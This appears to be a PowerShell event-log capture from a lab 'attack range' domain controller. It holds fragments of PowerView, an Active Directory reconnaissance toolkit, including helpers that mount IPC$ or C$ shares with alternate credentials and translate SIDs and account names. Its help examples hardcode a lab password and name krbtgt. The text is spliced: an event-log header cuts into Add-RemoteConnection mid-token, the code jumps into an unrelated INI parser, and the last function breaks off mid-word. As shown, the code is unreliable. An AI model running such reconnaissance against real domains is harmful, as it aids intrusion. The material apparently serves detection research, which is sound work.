This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection
to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the
-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$.
To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path
or -ComputerName.
.PARAMETER ComputerName
Specifies the system to add a \\ComputerName\IPC$ connection for.
.PARAMETER Path
Specifies the remote \\UNC\path to add the connection for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
$Cred = Get-Credential
Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred
.EXAMPLE
$Cred = Get-Credential
@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred
#>
[CmdletBinding(DefaultParameterSetName = 'ComputerName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)]
[ValidatePattern('\\\\.*\\.*')]
[String[]]
$Path,
[Parameter(Mandatory = $True)]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential
)
BEGIN {
$NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW)
$NetResourceInstance.dwType = 1
}
PROCESS {
$Paths = @()
if ($PSBoundParameters['Compb68aa9e3-754f-4d69-962b-40f9a6518a15
4104132150x0109889Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local341ter]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
if (Test-Path -Path $TargetPath) {
if ($PSBoundParameters['OutputObject']) {
$IniObject = New-Object PSObject
}
else {
$IniObject = @{}
}
Switch -Regex -File $TargetPath {
"^\[(.+)\]" # Section
{
$Section = $matches[1].Trim()
if ($PSBoundParameters['OutputObject']) {
$Section = $Section.Replace(' ', '')
$SectionObject = New-Object PSObject
$IniObject | Add-Member Noteproperty $Section $SectionObject
}
else {
$IniObject[$Section] = @{}
}
$CommentCount = 0
}
"^(;.*)$" # Comment
{
$Value = $matches[1].Trim()
$CommentCount = $CommentCount + 1
$Name = 'Comment' + $CommentCount
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Value
}
else {
$IniObject[$Section][$Name] = $Value
}
}
"(.+?)\s*=(.*)" # Key
{
$Name, $Value = $matches[1..2]
$Name = $Name.Trim()
$Values = $Value.split(',') | ForEach-Object { $_.Trim() }
# if ($Values -isnot [System.Array]) { $Values = @($Values) }
if ($PSBoundParameters['OutputObject']) {
$Name = $Name.Replace(' ', '')
$IniObject.$Section | Add-Member Noteproperty $Name $Values
}
else {
$IniObject[$Section][$Name] = $Values
}
}
}
$IniObject
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Export-PowerViewCSV {
<#
.SYNOPSIS
Converts objects into a series of comma-separated (CSV) strings and saves the
strings in a CSV file in a thread-safe manner.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This helper exports an -InputObject to a .csv in a thread-safe manner
using a mutex. This is so the various multi-threaded functions in
PowerView has a thread-safe way to export output to the same file.
Uses .NET IO.FileStream/IO.StreamWriter objects for speed.
Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590
.PARAMETER InputObject
Specifies the objects to export as CSV strings.
.PARAMETER Path
Specifies the path to the CSV output file.
.PARAMETER Delimiter
Specifies a delimiter to separate the property values. The default is a comma (,)
.PARAMETER Append
Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv"
.EXAMPLE
Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|'
.INPUTS
PSObject
Accepts one or more PSObjects on the pipeline.
.LINK
http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[System.Management.Automation.PSObject[]]
$InputObject,
[Parameter(Mandatory = $True, Position = 1)]
[ValidateNotNullOrEmpty()]
[String]
$Path,
[Parameter(Position = 2)]
[ValidateNotNullOrEmpty()]
[Char]
$Delimiter = ',',
[Switch]
$Append
)
BEGIN {
$OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path'])
$Exists = [System.IO.File]::Exists($OutputPath)
# mutex so threaded code doesn't stomp on the output file
$Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'
$Null = $Mutex.WaitOne()
if ($PSBoundParameters['Append']) {
$FileMode = [System.IO.FileMode]::Append
}
else {
$FileMode = [System.IO.FileMode]::Create
$Exists = $False
}
$CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read)
$CSVWriter = New-Object System.IO.StreamWriter($CSVStream)
$CSVWriter.AutoFlush = $True
}
PROCESS {
ForEach ($Entry in $InputObject) {
$ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation
if (-not $Exists) {
# output the object field names as well
$ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) }
$Exists = $True
}
else {
# only output object field data
$ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) }
}
}
}
END {
$Mutex.ReleaseMutex()
$CSVWriter.Dispose()
$CSVStream.Dispose()
}
}
function Resolve-IPAddress {
<#
.SYNOPSIS
Resolves a given hostename to its associated IPv4 address.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Resolves a given hostename to its associated IPv4 address using
[Net.Dns]::GetHostEntry(). If no hostname is provided, the default
is the IP address of the localhost.
.EXAMPLE
Resolve-IPAddress -ComputerName SERVER
.EXAMPLE
@("SERVER1", "SERVER2") | Resolve-IPAddress
.INPUTS
String
Accepts one or more IP address strings on the pipeline.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with the ComputerName and IPAddress.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
@(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {
if ($_.AddressFamily -eq 'InterNetwork') {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString
$Out
}
}
}
catch {
Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address."
}
}
}
}
function ConvertTo-SID {
<#
.SYNOPSIS
Converts a given user/group name to a security identifier (SID).
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain
.DESCRIPTION
Converts a "DOMAIN\username" syntax to a security identifier (SID)
using System.Security.Principal.NTAccount's translate function. If alternate
credentials are supplied, then Get-ADObject is used to try to map the name
to a security identifier.
.PARAMETER ObjectName
The user/group name to convert, can be 'user' or 'DOMAIN\user' format.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertTo-SID 'DEV\dfm'
.EXAMPLE
'DEV\dfm','DEV\krbtgt' | ConvertTo-SID
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred
.INPUTS
String
Accepts one or more username specification strings on the pipeline.
.OUTPUTS
String
A string representing the SID of the translated name.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name', 'Identity')]
[String[]]
$ObjectName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$DomainSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($Object in $ObjectName) {
$Object = $Object -Replace '/','\'
if ($PSBoundParameters['Credential']) {
$DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments
if ($DN) {
$UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$UserName = $DN.Split(',')[0].split('=')[1]
$DomainSearcherArguments['Identity'] = $UserName
$DomainSearcherArguments['Domain'] = $UserDomain
$DomainSearcherArguments['Properties'] = 'objectsid'
Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid
}
}
else {
try {
if ($Object.Contains('\')) {
$Domain = $Object.Split('\')[0]
$Object = $Object.Split('\')[1]
}
elseif (-not $PSBoundParameters['Domain']) {
$DomainSearcherArguments = @{}
$Domain = (Get-Domain @DomainSearcherArguments).Name
}
$Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object))
$Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value
}
catch {
Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_"
}
}
}
}
}
function ConvertFrom-SID {
<#
.SYNOPSIS
Converts a security identifier (SID) to a group/user name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Convert-ADName
.DESCRIPTION
Converts a security identifier string (SID) to a group/user name
using Convert-ADName.
.PARAMETER ObjectSid
Specifies one or more SIDs to convert.
.PARAMETER Domain
Specifies the domain to use for the translation, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the translation.
.PARAMETER Credential
Specifies an alternate credential to use for the translation.
.EXAMPLE
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108
TESTLAB\harmj0y
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID
TESTLAB\WINDOWS2$
TESTLAB\harmj0y
BUILTIN\Distributed COM Users
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred
TESTLAB\harmj0y
.INPUTS
String
Accepts one or more SID strings on the pipeline.
.OUTPUTS
String
The converted DOMAIN\username.
#>
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('SID')]
[ValidatePattern('^S-1-.*')]
[String[]]
$ObjectSid,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
}
PROCESS {
ForEach ($TargetSid in $ObjectSid) {
$TargetSid = $TargetSid.trim('*')
try {
# try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330
Switch ($TargetSid) {
'S-1-0' { 'Null Authority' }
'S-1-0-0' { 'Nobody' }
'S-1-1' { 'World Authority' }
'S-1-1-0' { 'Everyone' }
'S-1-2' { 'Local Authority' }
'S-1-2-0' { 'Local' }
'S-1-2-1' { 'Console Logon ' }
'S-1-3' { 'Creator Authority' }
'S-1-3-0' { 'Creator Owner' }
'S-1-3-1' { 'Creator Group' }
'S-1-3-2' { 'Creator Owner Server' }
'S-1-3-3' { 'Creator Group Server' }
'S-1-3-4' { 'Owner Rights' }
'S-1-4' { 'Non-unique Authority' }
'S-1-5' { 'NT Authority' }
'S-1-5-1' { 'Dialup' }
'S-1-5-2' { 'Network' }
'S-1-5-3' { 'Batch' }
'S-1-5-4' { 'Interactive' }
'S-1-5-6' { 'Service' }
'S-1-5-7' { 'Anonymous' }
'S-1-5-8' { 'Proxy' }
'S-1-5-9' { 'Enterprise Domain Controllers' }
'S-1-5-10' { 'Principal Self' }
'S-1-5-11' { 'Authenticated Users' }
'S-1-5-12' { 'Restricted Code' }
'S-1-5-13' { 'Terminal Server Users' }
'S-1-5-14' { 'Remote Interactive Logon' }
'S-1-5-15' { 'This Organization ' }
'S-1-5-17' { 'This Organization ' }
'S-1-5-18' { 'Local System' }
'S-1-5-19' { 'NT Authority' }
'S-1-5-20' { 'NT Authority' }
'S-1-5-80-0' { 'All Services ' }
'S-1-5-32-544' { 'BUILTIN\Administrators' }
'S-1-5-32-545' { 'BUILTIN\Users' }
'S-1-5-32-546' { 'BUILTIN\Guests' }
'S-1-5-32-547' { 'BUILTIN\Power Users' }
'S-1-5-32-548' { 'BUILTIN\Account Operators' }
'S-1-5-32-549' { 'BUILTIN\Server Operators' }
'S-1-5-32-550' { 'BUILTIN\Print Operators' }
'S-1-5-32-551' { 'BUILTIN\Backup Operators' }
'S-1-5-32-552' { 'BUILTIN\Replicators' }
'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' }
'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' }
'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' }
'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' }
'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' }
'S-1-5-32-559' { 'BUILTIN\Performance Log Users' }
'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' }
'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' }
'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' }
'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' }
'S-1-5-32-573' { 'BUILTIN\Event Log Readers' }
'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' }
'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' }
'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' }
'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' }
'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' }
'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' }
'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' }
Default {
Convert-ADName -Identity $TargetSid @ADNameArguments
}
}
}
catch {
Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_"
}
}
}
}
function Convert-ADName {
<#
.SYNOPSIS
Converts Active Directory object names between a variety of formats.
Author: Bill Stewart, Pasquale Lantella
Modifications: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK)
and translates Active Directory names between various formats using the NameTranslate COM object.
.PARAMETER Identity
Specifies the Active Directory object name to translate, of the following form:
DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com'
Canonical canonical nab68aa9e3-754f-4d69-962b-40f9a6518a15